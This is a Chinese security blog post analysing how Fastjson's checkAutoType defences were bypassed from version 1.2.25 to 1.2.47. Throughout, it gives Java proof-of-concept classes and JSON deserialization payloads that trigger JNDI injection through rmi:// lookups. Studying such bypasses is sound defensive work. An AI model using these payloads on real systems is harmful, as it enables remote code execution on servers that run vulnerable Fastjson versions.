Fastjson之反复拉扯

2021-08-14

序言

1.自1.2.25起Autotype自动关闭

2.增加checkAutoType方法，采用黑名单与白名单机制

可以看到1.2.25多了一条checkAutoType处理，并且默认了autoTypeSupport为false。

先经过白名单判断，若在白名单中则进行loadClass加载，之后再进行一个黑名单，若在黑名单中则抛出异常。

内置白名单为空，黑名单如下

JdbcRowSetImpl在黑名单内，于是抛出异常

在后续的修复与绕过的拉扯主要就是围绕checkAutoType这个函数展开。

Fastjson 1.2.25-1.2.41

package Test.Bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class fast41 {
    //fastjson 1.2.25 - 1.2.41
    public static void main(String[] arges)throws Exception{
        //开启autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Teabo\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

与1.2.24的原版Poc相比，也就是多了一个L和结尾的分号。为什么这样可以呢？

在TypeUtils#loadClass中发现如果类名以[开头或者 L开头和分号;结尾，那么就会截取头尾后返回newClassName

package Test.Bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
//用 [
public class fast41 {
    //fastjson 1.2.25 - 1.2.41
    public static void main(String[] arges)throws Exception{
        //开启autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/Teabo\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

Fastjson 1.2.42

在1.2.42中的黑名单采用的是hash形式

在TypeUtils中存在加密方法，可碰撞出黑名单

github上的黑白名单项目 https://github.com/LeadroyaL/fastjson-blacklist

发现checkAutoType中就有去掉头尾的操作

loadclass还是没变化

因此可以通过双写来对付这两次过滤

package Test.Bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class fast42 {

    //fastjson 1.2.42
    public static void main(String[] arges) throws Exception {
        //开启autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Teabo\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

Fastjson 1.2.43

在checkAutoType多了一层判断，截胡了LL开头的类名

还是可以用 [

在1.2.44也增加了 [ 的过滤。

Fastjson 1.2.45

package Test.Bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class fast45 {
    //fastjson 1.2.45
    public static void main(String[] arges) throws Exception {
        //开启autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\", \"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/Teabo\"}}";
        JSON.parse(PoC);
    }
}

本次绕过方式是针对黑名单的绕过，引用的是ibatis类，该类是黑名单的漏网之鱼。

通过maven导入org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

也是利用set方法中的lookup可控达到JNDI注入

Fastjson 1.2.25 - 1.2.47 通杀

该方法可以绕过AutoTypeSupport,也就是说无论开启与否都能利用成功。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://localhost:1099/refObj",
        "autoCommit":true
    }
}

package Test.Bypass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastall47 {
    //fastjson 1.2.24-1.2.47
    public static void main(String[] arges) throws Exception {
        //开启autoTypeSupport
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Teabo\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parse(PoC);
    }
}